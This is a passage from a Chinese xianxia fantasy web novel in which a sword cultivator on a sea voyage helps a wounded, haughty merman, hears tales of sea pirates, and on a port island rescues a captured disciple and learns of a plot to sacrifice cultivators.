“看来我找到新的研究方向了,”她眼睛一亮,满心欢喜,“再尝试几次,或许可以研制出能让修士转化为鲛人的丹丸。”
李长缨怔愣片刻,面色复杂,心想这种效果的丹丸要是真的面世,怕是会引起大乱。
鲛人多生活在无望海靠近西大陆的海域,鱼尾人身,眼能泣珠,称为“鲛珠”,善纺织,织出的鲛纱穿在身上,入水不濡。
又因为鲛人踪迹难寻,产出不定,鲛纱格外珍稀,一件织好的鲛纱可卖出上千块灵石。
若是真能让修士转化为鲛人,怕是会有不少低阶修士被“自愿”转化,集中起来日夜织布不停。
光是想想那个场景,都让人胆寒。
“青龙号”正破浪而行,忽然,“轰隆”一声巨响,整艘仙舟剧烈震颤,防御大阵瞬间亮起刺目光芒。
“怎么回事?”
李长缨连忙跑到甲板边,低头一看,一道幽蓝色身影狠狠撞在船舷上。
感受到她的目光,那身影仰起头,月光照在苍白的面容上,长发如海藻般在水中舒展,发丝间缠绕着细碎的荧光,如星子般坠入深海。
金色瞳孔牢牢锁定住她,鲜艳的红唇微张,在低声吟唱着什么。
李长缨:……
她转头对庄青青道:“说谁谁到,你看,鲛人来了。”
试问有一条不该出现在这里的鲛人想要登船,该怎么办?
闻讯赶来的艄公梁渊抄起鱼叉冲了过去,盯着海里的生物,迟疑了,用手指比划比划:“造孽哟,你们几个咋回事,把鲛人都招来了。”
环视一圈,他目光落在卡在变异半途中的极乐宫弟子身上,咽了口唾沫:“这啥玩意?”
庄青青连忙制止他欲把对方叉下去的冲动,缩了缩脖子:“他乱吃东西,有点走火入魔,不碍事,估计过一阵就好了。”
说罢,她探头看向海里的鲛人,却发现他周身的海水泛红,浪涛起伏间,腹部被利器贯穿的伤口时隐时现。
“他好像受伤了?”她声音一顿,试探道,“要不先把他捞上来?”
几人合作,用一张巨大的渔网将其打捞上来。
鲛人坐在甲板上,微微喘息着,月光在苍白的肌肤上流淌,颈间挂着一枚透明的月牙吊坠。水珠顺着下颌滚落,坠在锁骨凹陷处,形成一小片银潭,一呼一吸间,腹部伤口开合着,有些狰狞。
离得近了,李长缨才发现鲛人是多么……大只。
鱼身长达两米有余,鳞片从腰际的靛青逐渐变为尾鳍的透蓝,轻轻一扫,大概可以把人掀出十丈开外。
他矜傲地仰起头,瞥了眼在场诸位修士,一字一顿道:“我嗅到了同族的气息,趁我发火前,把它交出来,饶你们不死。”
鲛人?有吗?
在场众人都显露出困顿之色,面面相觑,一时无话。
“我能闻到,他就在这里,快点。”他催促道。
这里除了他,哪还有什么鲛人?
无人应答。
他轻哼一声,抬起手,大团灵光在掌心汇聚:“既然你们不说,那就别怪……”
“且慢!”
电光石火间,李长缨福至心灵。
她让开身子,指着那个极乐宫弟子:“你说的同族,不会是他吧?”
那弟子还在痛苦地扭曲着,五指已经变异成蹼爪,新生的蓝发与黑发混在一起,腮帮子肿大,好不怪异。
不可能,鲛人没有这么丑的同类。
他下意识想反驳,鼻尖轻嗅,觉察到同族气息的确来自眼前这人,瞬间眉头紧锁,眼神中透出深深的怀疑。
“这是个……什么怪物?”
8. 鲛人
庄青青轻咳一声:“他为了变成鲛人,乱吃东西,就成了这副模样……”
话未说完,鲛人直接将她打断,嗓音冰冷:“放肆,我鲛人一族高贵血脉,岂容尔等混淆,还如此……丑陋不堪。”
闻言,围观众人神色各异。
他们中绝大多数人都是今日第一次见到鲛人,更遑论同他打交道了。
谁也没想到,鲛人的性格这般……一言难尽,与传说中勤勤恳恳织纱的形象大相径庭。
艄公梁渊捋了捋胡须,眉心紧皱:“所以这位,呃,公子,你为何伤得如此严重?”
他看了眼自己腹部,不甚在意地抹去流淌的鲜血,下巴微微抬起:“不过是遇上了一只蛟龙,趁我不备妄图偷袭,可惜在我手里不敌三招,狼狈逃脱。”
听见“蛟龙”二字,梁渊神色晦暗了几分。
蛟龙虽带有一个“龙”字,却与天上飞的龙有所差别,乃拥有龙族血脉的水兽,属妖类。其浑身都是宝贝,精血骨髓入药,可使断肢重生;鳞片制成甲胄,刀枪不入;以蛟龙骨铸剑,削铁如泥。
在黑市,以蛟龙为原料的法宝都炙手可热,随便挑一件出来,可以轻松卖到上百块灵石。但蛟龙性情暴虐,破坏力强,要想狩猎它,大概要四到五位至少筑基中期的修士。
眼下竟出现一只被重伤的蛟龙,他眯起眼睛,默默盘算狩猎的可行性。
若是成了,他又身为器修,可以独自炼制法宝,届时将法宝拿到黑市转卖,起码赚到几千块灵石。这一大笔灵石入账,哪还需要他辛辛苦苦往返两大陆开船,直接带着心肝宝贝“青龙号”环游世界算了。
思忖片刻,他心中有了定夺,语气也客气不少:“烦请公子告诉我,被你重伤的蛟龙现下在何方?”
鲛人冷着张脸:“不知,谅它也跑不了多远。我本是想回去找族人一起了结了它,哪成想半路会遇到你们,还有这个卑陋龌龊的家伙。”说到最后,他恨恨地看了眼极乐宫弟子。
李长缨听完,冷不丁问道:“你想找你同族?你知道这里是哪里吗?”
“我怎么知道,我们鲛人从不认路,只需辨认海水流向即可,”他眉心微蹙,脸上透露出烦躁,“此地应是靠近西大陆的某片海域。”
很不幸,此地不是。
这位大哥,你似乎游反了。
还反得挺彻底。
她不再多言,只是望着他的眼睛里流露出一丝同情。
庄青青也反应过来,目光瞬间变得柔和:“公子,你应当是迷路了,此处是靠近东大陆的海域。”
“怎么可能?”他脱口而出。
“不信你看,”梁渊指着平静的海面,缕缕灵气在其上浮动,“海上泛灵气,若非靠近东大陆,怎会如此?”
“这在西大陆也不是不可能,灵气与魔气倒置是常有的事……”声音越说越小,鲛人肉眼可见地焉了下去,长长的鱼尾无力地扫动着,鳞片沾染不少血丝。
他也清楚,就算灵气与魔气倒置,也断不会有如此规模的灵气在西大陆附近海域出现。
可怜的孩子,迷路了都不知道。
一想到眼前这条鲛人不顾身上伤口,坚持不懈地横渡了几乎整个无望海,众人眼中都露出善意且慈爱的光芒。
他颇不适应这种注视,尾鳍不自觉摆动。
注意到他的鱼身上也有一条长长的裂口,渗着鲜血,庄青青忍不住问道:“要不让我给你治治?我虽不是医修,但止血化瘀的丹方还是知晓的,我现在就可以炼出来……”
即炼即吃吗,好刺激。
李长缨心下感叹,上一个吃了她新炼的丹丸的人,现在还没恢复。
“让我来吧。”
一道清润的男声响起。
奚不言倚在桅杆处,眼睫低垂,打量着这只受伤的鲛人,温和一笑。
“这位是……?”庄青青转头望向李长缨,记得登船时,此人和她是一道的。
“是我家公子,也是名医者。”她向对方解释。
他一袭素衫越过众人,俯身察看鲛人的伤处:“伤口有些深……将他移到我房里吧,我可以为他医治。”
梁渊即刻召了几名舟师来搬他,鲛人体型过大,饶是身材魁梧的舟师,搬动时也满面涨红、牙关紧咬。
他似乎也觉得这场面太过尴尬,闭眼装晕。
李长缨跟在队伍后面,悄悄问奚不言:“你从前医治过鲛人?”
他摇头:“未曾,不过疗法大差不差,看一眼就可以明白。”
两人返回房间。
依照杏林门惯例,奚不言让其他人出去稍作等候,其余人虽对他的能力有所怀疑,但看在她对他熟识的情况下,没有多言,都去船舱里休息了。
李长缨正要随大流一起出去,却被他喊住:“你留下。”
她身形一顿,面露不解。
奚不言简洁回应:“我担心他会伤我,劳烦你在一旁帮我看着点。”
闻言,鲛人猛地坐直身子,不慎牵扯到伤口,疼得龇牙咧嘴:“小人之心!我分明没有这个意思……”
伸出一根手指将他压了下去,奚不言垂眸细细打量起伤处。
伤口从胸前延伸到腰侧,边缘泛着诡异的黑气,血肉翻卷处隐约可见森然肋骨。
他将灵力凝于双目,瞳孔中登时泛出翡翠般的光晕。
此举能观经脉气血之流动。
透过灵视,只见属于蛟龙的黑气团聚在伤口表面,更深处却萦绕着一团团蓝光,与鲛人自身的灵光别无二致。
莫非鲛人一族有自愈之力?
奚不言对其了解不多,不敢妄下结论。
低头从芥子囊中取出不少药包,他挨个打开,露出颜色各异的药粉,干脆利落地将其尽数撒在伤口上。
鲛人身形一颤,嘴唇微张,想失声尖叫,下一瞬又抿紧嘴唇,面色苍白,冷汗簌簌落下。
尖叫有损形象,不可不可。
撒完药粉,奚不言双手结印,周身泛起柔和的青光,点点绿芒从四面八方汇聚而来,渡入伤处,与黑气接触时发出滋滋声响。
痛!!太痛了!!!
鲛人全身抽搐,喉间溢出痛苦的闷哼。
青光渐盛,在伤口处形成漩涡状的光晕,将黑气一点点抽离、净化。
半个时辰过去,最后一丝黑气消散,翻卷的皮肉蠕动着闭合,苍白的面容迅速恢复血色。
他猛咳一声,呛出一大股黑血,擦了擦嘴角,神情有些不自然:“多谢。”
奚不言颔首,收起药包,正欲打开房门,却听他低声道:“我叫苍溟,敢问阁下姓名?”
主动报出姓名对于鲛人一族来说,是极高的礼仪。
因为在他们看来,生活在陆地的人族,不配知晓水中生物的高贵的名字。
略一愣怔,奚不言瞥了眼李长缨,轻声道:“鄙人姓陶,阁下叫我陶公子即可。”
二人正要离开,她却发起了愁,这么大一条鱼,该怎么搬出去?
毕竟她也不想和一条鲛人同住。
觉察到她犯难的目光,苍溟轻哼一声,霎时,大片淡蓝烟雾将他包裹。<
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李长缨瞪圆了眼,正想催动星澜剑一探究竟,烟雾逐渐散去。
只见他流光溢彩的鱼尾已经变成了笔直有力的双腿。
原来你可以自己走啊……
她第一时间想到那几个费了大力气的舟师,可转念一想,他先前负伤,或许对转化成腿的法术也有影响。
一人一鱼对上视线,苍溟嘴唇动了动,却没说什么。
电光石火间,她突然领悟到他的意思——
人腿没有鱼尾漂亮。
三人回到船舱,大家正围坐在梁渊身旁,听他讲述海上的故事。
那位极乐宫弟子已变回原样,只是有些神智不清,缩在角落一个劲嘟囔着什么。
见到李长缨和奚不言身后的蓝发男子,庄青青微微一愣,须臾才反应过来:“你是那条鲛人?”
数道视线瞬间落到苍溟身上,他面色一僵,不耐烦地点点头,走到远离众人的位置上坐下。
李长缨落座,一眼便瞧见众人面前摆着几碟糕点,是米糕青团之类的零嘴。
“玉面罗刹从前真的是斩岳门弟子吗?”庄青青好奇道,一边从丹炉里掏出更多热乎乎的米糕,一边装进碟子递给他们。
梁渊拈起一个青团放进嘴里,细嚼慢咽,又抿了口青瓜汁,慢悠悠道:“还能有假?谁人不知她是位刀修,在海上专挑斩岳门的商船下手?”
她仍心里寸疑,玉面罗刹乃五大海寇中实力最强的一位,令许多人闻风丧胆,如今告诉她此人是斩岳门的弃徒,如何能让人瞬间接受。
那可是斩岳门,八大宗门里最显正气的一派,上到长老、下到洒扫弟子,都给人一种正得发邪的感觉。门下弃徒竟摇身一变成为最强海寇,这风格也差异太大了吧?!
一位脸上有疤的舟师笑呵呵道:“道友,这在无望海上并非传闻,是玉面罗刹亲口承认的。”
梁渊赞许地点点头:“不错,因此我们这段时间也不用顾虑海寇侵扰,敢在东大陆这边活动的海寇,只有她,‘青龙号’又显然不是斩岳门的船……”
“意思是越靠近魔域,越需要担心海寇?”李长缨拧眉。
也不知海寇们修为几何,到时遇上打不打得过。话说越靠近魔域,灵气越稀薄,对修士的抑制效果越明显,情况很不利。
面对她的提问,他叹了口气:“不错,不过也不用太过担心,这条航道还算安全,只要不偏离主航线,去深入那些常年被迷雾笼罩的未知海域……”
可是每年出事故的船舶不计其数,李长缨撇撇嘴。
见人不信,梁渊气得吹胡子瞪眼:“老夫在海上开了几十年的船,能不清楚?至于频出事故的传言……有些船非要作死,我有什么办法!”
他捋了捋胡须,接着道:“海上最怕的,其实是幻境,很多船以为自己在主航线上驶着,其实早就偏离航道了。”
“被迷雾笼罩的海域有什么?”奚不言骤然发问。
梁渊望向漆黑的船顶,语气里带着些遗憾:“无人知晓,闯进去的人都没活着回来……除了一个人,‘幽冥’号首领。”
“据说他住在幽冥岛上,但是没人知道这座岛在何处,我怀疑是在那些未知海域。有时候经过数十年,他才会出海打鱼。”
“打鱼?”庄青青愕然,海寇不应该劫掠商船么。
“的确如此,他不乱杀人。与他交手的,都是些心怀不轨的小海寇,这些传言也是他们传出来的。”
倒是个奇人,就是不知他如何进出迷雾笼罩的海域的,李长缨咬了口米糕,任由思绪发散。
9. 隐秘
“还有呢?还有三大海寇呢?”庄青青意犹未尽地问道。
梁渊不慌不忙地吃着青团,低声道:“剩下三位,就是不好惹的主了。”
“‘千礁老怪’,他会用傀儡术,操纵一种叫‘噬灵海葵’的东西专门对付修士;其次是‘雾隐’号首领虞四娘,手下养了一群水猴子,喜欢潜水凿船,专吃人眼睛……不过这两位不会到主航线上活动,你们也不用太担心。”
“这里面,我最害怕遇到的是‘狂鲨’号首领,传言他有模仿玉面罗刹的嫌疑,近年来也喜欢在靠近东大陆的海域兴风作浪,并且来者不拒,只要是条船,都会被他洗劫一空……”
疤脸舟师点点头:“两三个月前,我们就遇到了被他抢劫过的飞舟,那场面……啧啧啧,要不是对飞舟的结构熟悉,没人认得出,整艘船快被拆完了,就剩个船底,到处漂着断肢鲜血,简直是人间地狱。”
庄青青打了个寒颤,赶紧喝了几口青瓜汁。
“除了海寇,我听说这海上还存在许多秘境?”李长缨支着下巴,歪头问道。
“的确如此,”梁渊点点头,掏出张帕子擦了擦手,“无望海上有大大小小上百个秘境,大多都关闭了,仅剩几个也没剩多少法力。”
声音一顿,他陡然严肃起来:“但是有几个上古遗存的秘境,至今仍然活跃着,前些日子还吞了不少人进去。可它们需要特定的钥匙开启,想不通那些船是怎么进去的。”
“可能是为了寻宝,刻意闯入,没想到被困住,再也无法出来。”舟师附和道。
苍溟突然开口,声音微哑:“秘境钥匙是何模样?”
“这就说不准啦,我从前见过陆上的秘境钥匙,大概是些对于秘境主人来说,有特定意义的物件,”庄青青扫了眼他脖子间的吊坠,“比如你戴的这枚小月亮挂坠,就可以成为钥匙。”
他喉咙一紧,下意识抬手捂住挂坠:“胡、胡说,这是我们鲛人先祖传下来的遗物,不许玷污它。”
鲛人向来视自己血统高贵,其余人见惯不惯。
“好了,小友们,去休息会儿吧,”梁渊起身,拍了拍手,嘴唇上扬,“马上便要到三仙岛了,这是座充满异域风情的小岛,我猜你们不会愿意错过的。”
晨光微明,青龙号穿过弥漫的海雾,缓缓驶入三仙岛的港口。
梁渊要在这里采买足够的阵法材料,以保证仙舟进入西大陆附近海域时,不会因为灵力枯竭而无法抵抗可能遇到的海寇攻击。
李长缨首次出远门,对与天极宗辖地截然不同的风光自然向往,奚不言要研究医书,谢绝了与她一同下船的邀请,一个人回了房间。
还好我不是医修……她默默感慨了一句,将星澜剑佩戴在腰侧,确认过易容暂时没有破绽,离开仙舟,踏上这片陌生的土地。
下船的人不少,庄青青和几位蓬莱阁弟子一道,已经迫不及待奔向这座小岛。
三仙岛,传说中有三位仙人在此论道,留下无数秘宝与传承。如今仙人已去,唯余这座鱼龙混杂的岛屿,成为来往修士们歇息补给之地。
足尖轻点,李长缨如落叶般飘然落在码头木板上。她刻意收敛了气息,给星澜剑施了几个障眼法,将修为压制在筑基中期。
这个境界足以自保,又不至于太过引人注目。
“这位仙子,可需要向导?”一位皮肤黝黑的少年凑上来,眼睛不住地往她腰间的芥子囊上瞟。
她微微一笑,取出一块灵石:“告诉我,岛上消息最灵通的地方在何处?”
此番行动,奚不言特意给了她不少灵石,叫她想用便用。
少年接过灵石,眼底闪过一丝失望,但还是快速答道:“凌月馆!仙子只需沿着这条主街直走,最大的那栋三层木楼便是。不过……”他压低声音:“那里有不少海寇,仙子独身一人,要小心为上。”
“多谢。”她颔首,藏蓝色斗篷在海风中微微摆动,向着他所指方向行去。
街道两旁清一色是木制建筑,叫卖声不绝于耳。有卖符箓的,有卖法器的,还有公然叫卖“上古秘境钥匙”的。
一看就是骗子。
李长缨目不斜视,灵识却悄然展开,探查周围修士的修为。大多数都是炼气期,偶有几个筑基修士,也都不超过中期,不足为虑。
魔修倒不少。
本以为凌月馆同醉仙楼一般,是大型酒楼,没想到装饰阴沉,光线昏暗,门口挂着一个沧桑的头骨风铃。
她略一停顿,深呼吸一下,这才抬步迈入。
空气中混杂着酒味、汗臭和海兽油脂燃烧的味道,十几张木桌散落其间,几乎座无虚席。有粗犷的渔民、衣着华贵的商贾,和占大多数的修士。
环视一圈,她挑了个只坐了一人的桌子,方才坐下,立刻有小二上前招呼。
“来份你们这里最拿手的海味。”她声音不大,同时将两块灵石放在桌上。
小二眼睛一亮,迅速收起灵石:“仙子稍等,马上就来。”
在这里,灵石和魔晶一样,属于硬通货,一块灵石可以换一大贯凡人用的铜钱。
等待的间隙,李长缨撑着脑袋,手指不轻不重地敲叩着桌面。
与她拼桌的是一个瘦削的中年男子,眼角微微下垂,胡子拉碴,一杯接一杯喝着店家酿的酒。
她看似随意地扫视酒馆内众人,实则灵识蔓延开来,捕捉着每一段可能有用的对话。
“听说玉面罗刹前几天又出手了……”
“西境魔尊死了两个手下……”
“最近怎么没看到鲛人的身影……”
鲛人?
最后这个词让她指尖一颤,不久前她才结识了苍溟这位鲛人,难道在这片海域,鲛人并不少见?
菜肴上来了,李长缨抽出筷子,夹起一块鱼肉,外层的酥皮发出脆响,里间鲜嫩的鱼肉展露出来,细腻爽滑,轻轻一抿,似乎在口中化掉。
诱人的香味蔓延,她吃了一块又一块,心道这两块灵石花得值。
“你是个灵修吧?”中年男子突然开口,嗓音浑厚。
乍一听到这个称呼,她怔愣片刻。
在东大陆,管用魔气修炼的修士叫魔修,自然而然,在西大陆,管用灵气修炼的修士叫灵修。
不过是双方都以自己为主罢了。
李长缨心头一紧,面上不显分毫:“道友何以知晓?”
他抿唇一笑:“你方才用灵识试探,太过惹眼,注意到你的不止我……但是隔三岔五就有同你一样莽撞的灵修,大家都没计较罢。”
方才的行为确实有些鲁莽,虽说这里的人修为普遍偏低,也难免有人会察觉到她的试探。
她心里懊恼,又疑惑自己从前分明小心谨慎,怎会大意至此。
“多谢道友提醒,道友是魔修吗?”她微微点头,将筷子轻轻放回桌面。
“我?我只是一介卖鱼郎罢了,”男子语气幽幽,“不过我很好奇,你的恶魂明明压制了善魂,为何不成为一名魔修?”
听到善魂与恶魂,李长缨头顶如有惊雷闪过,从头到脚一阵寒意。
此人是谁?
为何会知道这个?
魔修和恶魂有何干系?
“……道友不妨细说?”她艰难开口,喉咙像被人攥住了一般。
“看来你不知道,也对,”他嗤笑一声,“东大陆惯不会承认这个说法,他们只会守着三魂七魄之说不放。”
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“你知道,灵修与魔修为何会存在分野么?”
“因为……一个吸纳灵气、一个吸纳魔气?”这本应是脱口而出的答案,此刻她却犹豫了。
男子摇摇头:“不全是,灵修的修炼之途,是善魂不断压制恶魂的过程。所以我才好奇,你体内恶魂过盛,竟能有此修为,实属罕见。”
“那么魔修,便是恶魂不断在压制善魂?”她似有所悟。
察觉到她表情有异,他解释道:“恶魂的‘恶’,并非恶意,而是内心的欲念,虽说魔修皆以恶魂为主,但也只是放大了心底欲望,算不得穷凶极恶之徒。”
难怪自己虽魂魄有缺,却从未想过为非作歹,她松了口气。
怪就怪“恶魂”这个称呼,听着不像好词。
这些说法闻所未闻,李长缨隐隐有些激动,迫不及待问道:“前辈可曾听说过《心渊录》一书?”
“自然听说过,那是最早记录善恶双魂的书。”男子抿了口杯中酒水。
“那前辈知道,它眼下在何处吗?”她手心出汗,心砰砰跳个不停。
似笑非笑地瞥了她一眼,他摇晃着酒杯,叹道:“小友,我只是一介卖鱼郎。”
不等她反应,他将酒饮尽,飘然而去。
等李长缨晕乎乎地走出酒馆,日头正盛。
花了不少时间,她才消化了这一认知,其间还找了个魔修求证。
正如中年男子所说,善恶双魂之说在魔域并不稀奇,甚至到了家喻户晓的地步。
可在东大陆完全没有流传,八大宗门内部更是毫无踪迹,就连藏有《心渊录》抄本的杏林门,也选择把它束之高阁。
为何各大宗门齐心要封锁这一说法?
碰巧遇上的男子又是谁?
她感知不到对方身上作为修士的气息,无论是灵气、还是魔气,莫非真如他所言,只是一个卖鱼的凡人?
李长缨晃了晃头,稍作清醒,快步朝青龙号走去。
路过一条暗巷时,她眉头一皱,敏锐地觉察到巷子里传来异常的灵力波动,绝不是正常交易该有的气息。
巷内昏暗处,三名灰衣魔修正围着一个铁笼,笼中蜷缩着一个年轻修士,手脚都被刻满符文的铁链锁住。
“此次收获不错,是个丹修,大人正缺这个。”为首的刀疤脸魔修用一方丝帕擦着他的弯刀。
李长缨弯腰躲在杂物堆后方,刻意隐匿了气息。她定睛一看,笼中修士竟是个熟人。
是那位跟在庄青青身后的蓬莱阁弟子。
“大哥,听说最近大人开出的赏金又涨了?”另一位矮胖魔修搓着手,眼中闪着贪婪的光。
刀疤脸狞笑着踢了铁笼一脚:“放心,少不了你的……给我老实点!”
话音未落,一道剑光闪过,将他手中的丝帕削成两半,飘飘然落在地上。
“什么人?!”三人同时转身。
李长缨站在巷口,逆光中只见她素衣飘然,手中剑锋泛着冷光:“放了他,留你们一命。”
刀疤脸上下打量她一番:“筑基中期的小娘们也敢多管闲事?识相的赶紧滚!”
不等他说完,她身形如鬼魅般闪至最外侧的魔修身前,星澜剑轻轻一挑,那魔修甚至没来得及拔出武器,右腕便喷出大片血雾。
“啊!我的手——”
惨叫声中,她剑势不停,在狭窄的巷子里腾挪倒转,每一剑都精准地挑断一名魔修的手筋。不出三息,几名魔修已哀嚎着倒地。
李长缨收起剑,居高临下地看着他们,漠然道:“你们抓修士来做什么?”
刀疤脸额头渗出冷汗:“我、我们只是奉命行事,韩大人需要各路修士来献祭……”
10. 献祭
“韩大人?哪个韩大人?”
“自然是狂鲨号首领,韩破浪大人,你居然连这都不知道?”他目光一顿,心里默默琢磨起来。
眼前这个女人,修为肯定不止表面上看来的筑基中期,否则凭他筑基后期的修为,怎会不敌。而她竟没听说过韩破浪的名号,想必也不是无望海的常客,难道是路过的名门修士?
他努力瞪大眼想看清她的长相,可那张脸着实普通,毫无记忆点。
“关于献祭,说清楚。”李长缨声音冷得像冰。
他忙不迭点头:“海上都是这么传的,韩大人想集齐剑、刀、琴、丹、符、体、医、蛊八大道的修士,据说可以迎神……”
迎神?
眉心微蹙,她在心中快速思索起来。
渡了飞升期,便是成仙,她是知道的。
目前为世人所知的真仙,只有剑、琴、医三仙,其余大道的仙人不是还没诞生,就是早已陨落。
仙人居于仙界,与人间的沟通,大多以托梦完成,从未亲自现身。
那个韩破浪莫不是从哪里得了什么邪术,自以为用修士祭阵,就可以迎来神仙降世?
见她不语,垂眸望着地面,似乎在沉思,刀疤脸自以为她已放松警惕,眸中精光闪过。
下一瞬,他突然暴起,改换左手执刀,直奔她咽喉而去。
李长缨目光一凝,手腕翻转,剑身平拍在他脖子上。她刻意控制了力道,剑气透体而入,瞬间封住他周身大穴。
“你!”刀疤脸来不起发出声响,白眼一翻,重重地倒在地上。
另外两名魔修见状,哪还敢动别的心思,只一味朝墙角蠕动,暗暗祈祷她不要注意到他们。
她冷哼一声,剑尖点在他脸颊处,转头道:“带上他,滚。”
魔修们惊恐地点头,顾不得疼痛,拖着昏迷的同伴踉跄逃走,很快消失在暗巷尽头。
“多谢……道友救命之恩。”蜷缩在铁笼中的少年轻咳一声,声音微弱。
李长缨垂眸看了他一眼,不急着解开束缚,温声道:“你为何会落在魔修手里?庄青青他们呢?”
他摇摇头,轻声回答:“不知,我们在人潮中走散,我不幸中了醉梦散,被魔修设计,骗到此地。”
“醉梦散?那是何物?”
“是一种魔药,”少年脸上显出一种病态的白,“可以在神不知鬼不觉间,让人心浮气躁、麻痹大意。他们为了劫掠修士,故意在空气中洒了许多,我一时不察,吸入了不少。”
所以不久前,她在酒馆里直接用灵识试探,或许是吸入了醉梦散的缘故?
李长缨颔首,俯身细细观察起禁锢住他铁链,其上暗金色符文流动,一看便知不是凡品。她注入一缕灵气试探,铁链猛地摇晃了一下,“咔嚓”一声,竟出现一道裂纹。
也太不结实了吧。
她不再犹豫,提剑斩去,四道铁链轻轻松松便被斩断,少年得了自由,忙起身朝她一礼:“多谢李道友,在下蓬莱阁弟子周砚。”
“不必客气。”
收起剑,她正要离开,瞅了眼地上寸断的铁链,还是把它捡了起来,放入一个空布袋,收回袖中。
上面的符文没被破坏,看着怪值钱的,拿去当了说不定能换几块灵石。
虽说奚不言已经给了她一大袋灵石,但她并不打算真的吃他的用他的,依附于人不可取。
转出巷口,一面斑驳的灰墙突兀地闯入视线。墙上贴满各种告示,几个修士正围在那里指指点点,不时发出啧啧声。
“五千灵石,够买件天阶法器了!”有个壮汉吞了口口水。
“嘘,小点声,”同伴紧张地环顾四周,“狂鲨号的主意你也敢打,找死吗?”
听到耳熟的名字,李长缨来了兴趣,抬眼看向悬赏令中央的画像,一位棱角分明的男人撞进她眼中。寥寥几笔,却把他立体的五官勾勒个大概,眼眸狭长,嘴唇偏厚,唇角有一道很明显的疤痕,散发着一股危险的气息。
看着就不好对付,她腹诽,凑近一看,嚯,赏金五千灵石,外加一盒起死回生丹。
目光下移,画像下方标着他的姓名和境界。
韩破浪。
体修,金丹中期。
她身为金丹初期,不知道对上有几分胜算。
可惜没有接触过体修,她暂时缺乏和对方过招的经验。
可那是整整五千灵石!若是全用来给星澜剑保养,足够将它硬生生捧到天阶法器的品质。还有一盒起死回生丹,这种灵药,一枚都价逾百金……
悬赏令末尾批着一行小字——
「凭此人金丹,在血蛟帮领地领赏。」
“血蛟帮?难不成是玉面罗刹统领的那个血蛟帮……”壮汉在一旁嘀咕。
原来是被海寇之首给悬赏了,也不知他们之间有何恩怨,李长缨啧啧称奇,强压下心头躁动,快步离开。
途中经过一家典当行,顺手将铁链当了出去,居然只换了两块灵石。
早知道就不砍那么碎了,肯定是品相不佳的缘故。
回到青龙号,只见苍溟坐在船舱中部的软凳上,一个劲地搓着手臂皮肤,嘴里嘀嘀咕咕地抱怨着什么。
他怎么还在?
她心下好奇,快步走近:“你怎么了?”
鲛人颇为幽怨地看了她一眼:“我找遍了整艘仙舟,居然没有水箱!哪怕一个!皮肤都要干裂了……”
低头一看,他的双臂上布满干裂开的细密纹路,水晶般的耳鳍蔫垂着,甚是可怜。
思索片刻,她诚恳地给出建议:“其实你可以下船,反正你的伤都治好了,不如回归大海。”
“不行!”苍溟想也不想,断然拒绝。
回绝得太过果断,反倒让人生疑。李长缨眼神一凛,心下警觉起来:“为什么?”
难道眼前人上船另有目的?
他诡异地沉默了一瞬,慢吞吞道:“没有为什么,反正我不能离开这里……”
算了,反正他下不下船,也不是她能左右的。至于他有何企图,日后再探。
递给他几枚水符,她抬脚回到房间。
竹林清幽,奚不言卧在榻上,闭目小憩。
睫毛轻颤,在眼下投出浅浅阴翳,泼墨似的长发散了满榻,有几缕垂进半敞的青衫中,落在若隐若现的锁骨上。
李长缨不由得放轻了脚步,慢慢靠近他,只见他手中书卷欲落不落,地上堆着几本,都是医书。
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“回来了?”榻上人尾音带着慵懒的沙哑,却未睁眼。
“嗯,”她随手把佩剑放下,突然没头没尾地问道,“你怎么把易容抹去了?”
“在屋里戴着闷,不想戴了,”奚不言轻笑了下,打量着手中医书,“今日看了不少典籍,关于你的病情,我有了些想法。”
李长缨挑眉,示意他继续说。他放下书卷,旋即捧出一个药罐:“光靠丹药,对你恢复修为助益太少,书上说药膳效果不错,正巧芥子囊中存有许多原料,我便给你做了一份……”
他缓缓揭开盖子,满眼期待地望着她。
只见药罐里翻涌着黏糊糊的不明液体,表面漂浮着可疑茎块,散发出一种又苦又涩的气味。
沉默片刻,她艰难道:“这是什么?”
“养丹汤,”他捧着药罐凑近,“里面加了玉髓芝、金丝血枣和清心莲,可以巩固金丹、温养灵力。”
都是名贵药材,可为何熬成如此……一言难尽的模样。
“……多谢。”她接过罐子,深呼吸几下,一口气倒入嘴里。
入口瞬间,一股难以形容的苦涩瞬间炸开,如同生嚼苦参一般,喉咙本能地痉挛。她狠狠闭了闭眼,下定决心,继续大口喝药。
一股暖流从喉咙蔓延至丹田,在药力滋养下,金丹上细微的裂纹彻底被修复如初。
竟有如此奇效。
收回探入体内的神识,李长缨眸光清亮,眉眼间染上明显的喜悦:“多谢,我的金丹似乎彻底恢复了。”
“看来药膳当真有用,”他扬唇一笑,“以后可以给你多弄点。”
??
她面色一顿,下意识想拒绝,舌尖发麻,嘴里还萦绕着苦味。
不行,不能辜负对方的好意。
她微一抿唇,目露坚定之色,点点头。
喝吧,总归是大补之物,难喝点算什么。
看她神色几番变化,奚不言有些过意不去,低声道:“抱歉,这个配方是我第一次做,考虑欠周,口味着实不佳。”
二人相顾无言须臾,李长缨冷不丁问道:“你先前提过的医修大比,是何种形式?”
这个问题她想问很久了,作为剑修,她只知有试剑大会,参赛者会在试剑台上一对一比试。
难不成医修间的比拼也是这般,让病人坐在台上,当众施治?
光是想想那个场面,都觉得尴尬。
他摇摇头:“只需用留影石记录医治过程即可,届时会在全场公示。”
“所以这些时日,你一直在用留影石记录?”她瞪大眼睛。
“当然不是,我只在治疗时会记录,”奚不言抬眸,眼底有些许茫然,“况且留影石效力有限,若是想从头录到尾,等到最后,怕是要拉一车的留影石去参加大比。”
听他这么说,她松了口气,转而提起自己在岛上的所见所闻。
“……总之那个韩破浪打算用修士祭阵迎神,关于这方面,你可有想法?”
“我倒觉得,迎神只是借口,他恐怕另有图谋,”奚不言眸光微动,慢条斯理道,“不少邪术也会涉及活人献祭,而他摆明要八条大道的修士,与我从前读过的‘八重转生术’的条件有些吻合。”
11. 忠心
“八重转生术?”
倒是略有耳闻……
李长缨凝神细思,脑海里涌现很多属于原主的记忆。
她身为外门弟子,接触不到稍微高深点的功法,入不了内门,也进不去天极宗的藏书阁,是以她读过的书籍,大多是些基础剑法和心经。“八重转生术”这类秘术,不在她可知晓的范围内。
但李烟萝不一样,她是亲传弟子,又深得玄微道君喜爱,说句夸张的,就算是想要其他宗门的秘宝,怕是都能给她取来。
而恰好,在原主读过的书里,记载了“八重转生术”。
这一秘术,顾名思义,便是需要主修八门不同法器的修士,献出器灵、辅以阵法,来召唤亡魂。
